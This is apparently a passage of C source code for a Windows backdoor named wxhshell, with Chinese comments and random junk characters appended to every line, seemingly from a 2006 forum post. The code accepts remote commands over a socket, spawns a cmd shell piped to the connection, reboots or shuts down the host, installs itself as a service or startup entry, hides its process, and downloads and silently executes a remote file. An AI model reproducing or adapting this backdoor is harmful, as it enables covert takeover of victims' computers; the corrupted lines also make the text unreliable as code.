  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -SZW[T<N"  
  } N8<Wm>GLX~  
  else { +/g/+B_b  
$oefG}h2  
    switch(cmd[0]) { 9~6FWBt  
  ^Fy{Q*p`(  
  // 帮助 L*A9a  
  case '?': { 1^bI9 /  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8s,B,s.  
    break; V b=Oz  
  } g;bfi{8s_  
  // 安装 H.8f-c-4we  
  case 'i': { \6UK:'5{  
    if(Install()) l8"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NH?q/4=I0W  
    else ?a8 o.&`l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yQ33JQr  
    break; a88(,:t  
    } ~w<u!  
  // 卸载 {Jv m *   
  case 'r': { :R/szE*Ak  
    if(Uninstall()) `|p3@e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wnf'-dw]  
    else B&l5yI b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L'1p]Z"  
    break; s!\:%N  
    } )G7")I J/X  
  // 显示 wxhshell 所在路径 x Z 3b)j2D  
  case 'p': { %p5%Fs`sd  
    char svExeFile[MAX_PATH]; mk)F3[ ke  
    strcpy(svExeFile,"\n\r"); %UquF  
      strcat(svExeFile,ExeFile); ail%#E8  
        send(wsh,svExeFile,strlen(svExeFile),0); v&[Ff|>  
    break; 9=(*#gRd  
    } J|DID+M  
  // 重启 3y}0J @  
  case 'b': { k<mfBNvuo  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N# Ru `;  
    if(Boot(REBOOT)) 80X #V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k79" xyXX  
    else { ={Bcbj{  
    closesocket(wsh); 4I"p>FIkY  
    ExitThread(0); +w~ <2Kt8  
    } eq0&8/=  
    break; .xR J )9q  
    } ;\N{z6  
  // 关机 G(LGa2;Zg  
  case 'd': { f'hrS}e  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }i32  
    if(Boot(SHUTDOWN)) Pt/dH+r`%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5ua`5Hb;  
    else { (#Vkk]-p  
    closesocket(wsh); .OLm{  
    ExitThread(0); kaSy 9Y{  
    } &E0d{ 2  
    break; PZVh)6f"c  
    } w1Z9@*C!  
  // 获取shell KrcL*j&^  
  case 's': { +{Qk9Z  
    CmdShell(wsh); BDW%cs  
    closesocket(wsh); aCu 8 D!  
    ExitThread(0); \2q!2XWgK  
    break; ^Ge3"^x1  
  } 3I87|5V,Z  
  // 退出 N5>ioJj  
  case 'x': { 0w'%10"&U+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XBd/,:q  
    CloseIt(wsh); w8!S;~xKI  
    break; :'*;>P .(  
    } sdk%~RN0T  
  // 离开 \>Y2I 4x<  
  case 'q': { p 8,wr )  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2!Bjs?K<bv  
    closesocket(wsh); `)sC".b7  
    WSACleanup(); ZPrL)']  
    exit(1); oPSucz&s  
    break; 8lG@8tbW^  
        } #t.)4$  
  } JI TQ3UL:W  
  } clE_a?  
{Kn:>l$*7  
  // 提示信息 xign!=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aS ]bTYJ'  
} z8HOig?  
  } ,>H(l$n  
a[ Pyxx_K  
  return; E-P;3lS~  
} .M3]\I u  
c&!EsMsU  
// shell模块句柄 W4 v/,g>  
int CmdShell(SOCKET sock) <m;idfn  
{ )tB:g.2k  
STARTUPINFO si; V`F]L^m=L  
ZeroMemory(&si,sizeof(si)); C%hMh/Li;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :A+nmz!z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HYd&.*41rE  
PROCESS_INFORMATION ProcessInfo; 6Fp}U  
char cmdline[]="cmd"; A~MAaw!YE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 05]y*I  
  return 0; j<H5i}  
} T(Q(7  
X rBe41  
// 自身启动模式 M4MO)MYJ  
int StartFromService(void) 8ZmU(m  
{ T8nOb9Nrj  
typedef struct JHF <vyt5<  
{ \UBTNY,  
  DWORD ExitStatus; uBdS}U  
  DWORD PebBaseAddress; _gAU`aO^  
  DWORD AffinityMask; " 3ryp A  
  DWORD BasePriority; uVnbOqR<X  
  ULONG UniqueProcessId;  y5"b(nb  
  ULONG InheritedFromUniqueProcessId; 1y\ -Iz^  
}   PROCESS_BASIC_INFORMATION; {51<EvyE*  
O[9>^y\,  
PROCNTQSIP NtQueryInformationProcess; |=R@nn   
teRK#: .P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; An cka  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %9bf^LyD  
"x;|li3;  
  HANDLE             hProcess; K)e;*D  
  PROCESS_BASIC_INFORMATION pbi; {#-I;I:  
qfRsp rRI"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2)_Zz~P^f  
  if(NULL == hInst ) return 0; BKd03s=  
X\\c=[#8-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0keqtr  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 28/At  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s&>U-7fx"  
2[^p6s[  
  if (!NtQueryInformationProcess) return 0; : `Nh}Ka0  
3&39M&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O,$ ?Pj6  
  if(!hProcess) return 0; uT")j,tz  
}f/xMp-Y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +(a}S$C  
h-0#h/u>M  
  CloseHandle(hProcess); w6b\l1Z  
xN^ngRg0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?^y!}(  
if(hProcess==NULL) return 0; |j?iD  
M/!5r  
HMODULE hMod; uA`EJ )d  
char procName[255]; G54,`uz2  
unsigned long cbNeeded; n@`D:;?{  
#2dd`F8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); UW!*=?h  
lWiC$  
  CloseHandle(hProcess); 8`I/\8;H'p  
`~~.0QC  
if(strstr(procName,"services")) return 1; // 以服务启动 1[? xU:;9  
|sG@Ku7~4  
  return 0; // 注册表启动 "Uk "  
} )/32sz]~  
dfU z{  
// 主模块 =_\+6\_  
int StartWxhshell(LPSTR lpCmdLine) F<W`zQ46  
{ :6N'%LKK  
  SOCKET wsl; >q+q];=(  
BOOL val=TRUE; [xm{4Ba2X  
  int port=0; HB/q v IzB  
  struct sockaddr_in door; TbK;_pg  
ZxvqLu  
  if(wscfg.ws_autoins) Install(); 4hymQ3 g  
Ym]Dlz,o  
port=atoi(lpCmdLine); e*nT+Rp  
[ X7LV  
if(port<=0) port=wscfg.ws_port; +{eZ@  
mN!5JZ' 2  
  WSADATA data; KNI* :  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?3=D-Xrb  
GS<aXh k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~7kIe+V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vt(A?$j|A  
  door.sin_family = AF_INET; ,JL Y oE+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E#5$O2b#  
  door.sin_port = htons(port); Rt%3\?rf  
E0SP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wZAY0@pA  
closesocket(wsl); I: j!A  
return 1; _0razNk  
} o%~PWA*Qp  
(toN? ?r  
  if(listen(wsl,2) == INVALID_SOCKET) { @,=E[c 8  
closesocket(wsl); 7KB:wsz^  
return 1; -5&|"YYjr{  
} {9/ayG[98  
  Wxhshell(wsl); U\<8}+x  
  WSACleanup(); &EZq%Sd  
W7sx/O9  
return 0; +"~~; J$  
}3}{}w0Y  
} }mhD2'E  
J&vmW}&  
// 以NT服务方式启动 |afzW=8'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [~%\:of70n  
{ <"&I'9  
DWORD   status = 0; o<pb!]1  
  DWORD   specificError = 0xfffffff; G`Ix-dADJm  
lZ\8$,B)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; );m7;}gE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; CyWaXp65  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =m+'orJ1  
  serviceStatus.dwWin32ExitCode     = 0; iJ7?6)\  
  serviceStatus.dwServiceSpecificExitCode = 0; 2O*(F>>dT  
  serviceStatus.dwCheckPoint       = 0; FHoY=fCI  
  serviceStatus.dwWaitHint       = 0; b `TA2h  
Q\!0V@$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *irYSTA$  
  if (hServiceStatusHandle==0) return; )q+Qtz6D  
n)~9  
status = GetLastError(); \Y?ByY  
  if (status!=NO_ERROR) G"xa"hGF  
{ F74^HQ*J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uyp|Xh,  
    serviceStatus.dwCheckPoint       = 0; 4a]$4LQV  
    serviceStatus.dwWaitHint       = 0; ~EV7E F  
    serviceStatus.dwWin32ExitCode     = status; xe=/T# %  
    serviceStatus.dwServiceSpecificExitCode = specificError; Lwy9QZL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P ~sX S  
    return; $@wTc  
  } nc0!ag  
C2Pw;iK_t  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; J7p'_\  
  serviceStatus.dwCheckPoint       = 0; _xHEA2e!  
  serviceStatus.dwWaitHint       = 0; m$w'`[H  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fD1a)Az  
} Z^fkv  
~boTh  
// 处理NT服务事件,比如:启动、停止 aYmC LLj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ki8]+W37  
{ `Dn"<-9:  
switch(fdwControl) 4ox[,  
{ 2v;F@fUB.  
case SERVICE_CONTROL_STOP: [1 ?  
  serviceStatus.dwWin32ExitCode = 0; L^7"I 4=(D  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :*/'W5iM  
  serviceStatus.dwCheckPoint   = 0; a$~pAy5C  
  serviceStatus.dwWaitHint     = 0; Z0(}doh  
  { Hxw 7Q?F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j$he5^GC  
  } ;QiSz=DyA  
  return; k9'`<82Y  
case SERVICE_CONTROL_PAUSE: ^xpiNP!?a  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  _xyq25/  
  break; C `>1x`n  
case SERVICE_CONTROL_CONTINUE: S(c&XJR  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !:N&tuJEv  
  break; t3w:!' Ato  
case SERVICE_CONTROL_INTERROGATE: 5*n3*rbU:  
  break; |$)+h\h  
}; I 'qIc ?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [ q% Rx!L  
} l-} );zH74  
+TWk}#G   
// 标准应用程序主函数 y1FE +EX[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <6djdr1:b  
{ 5V{> 82  
$z"1&y)  
// 获取操作系统版本 &F!Ct(c99  
OsIsNt=GetOsVer(); $N[R99*x8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (9_O ||e e  
9A-=T>|of  
  // 从命令行安装 ISbhC!59  
  if(strpbrk(lpCmdLine,"iI")) Install(); '0\v[f{K3G  
,f]GOH  
  // 下载执行文件 Y >83G`*}b  
if(wscfg.ws_downexe) { Zdm7As]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lV*dQwa?i  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'H]&$AZ;@  
} saj%[Gsy  
5g-AB`6T  
if(!OsIsNt) { A%zX LV=3O  
// 如果时win9x,隐藏进程并且设置为注册表启动 wS)2ymRg  
HideProc(); 3G;#QK -c  
StartWxhshell(lpCmdLine); -%g$~MZ?'  
} $YNWT\FE  
else /jtU<uX  
  if(StartFromService()) v{T%`WuPRf  
  // 以服务方式启动  s_p\ bl.  
  StartServiceCtrlDispatcher(DispatchTable); FVgE^_  
else /3!c ;(  
  // 普通方式启动 DC-tBbQkk  
  StartWxhshell(lpCmdLine); 'Pm.b}p<  
CBVL/pxy  
return 0; $r'PYGn  
}
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只看该作者 1 发表于: 2006-10-10
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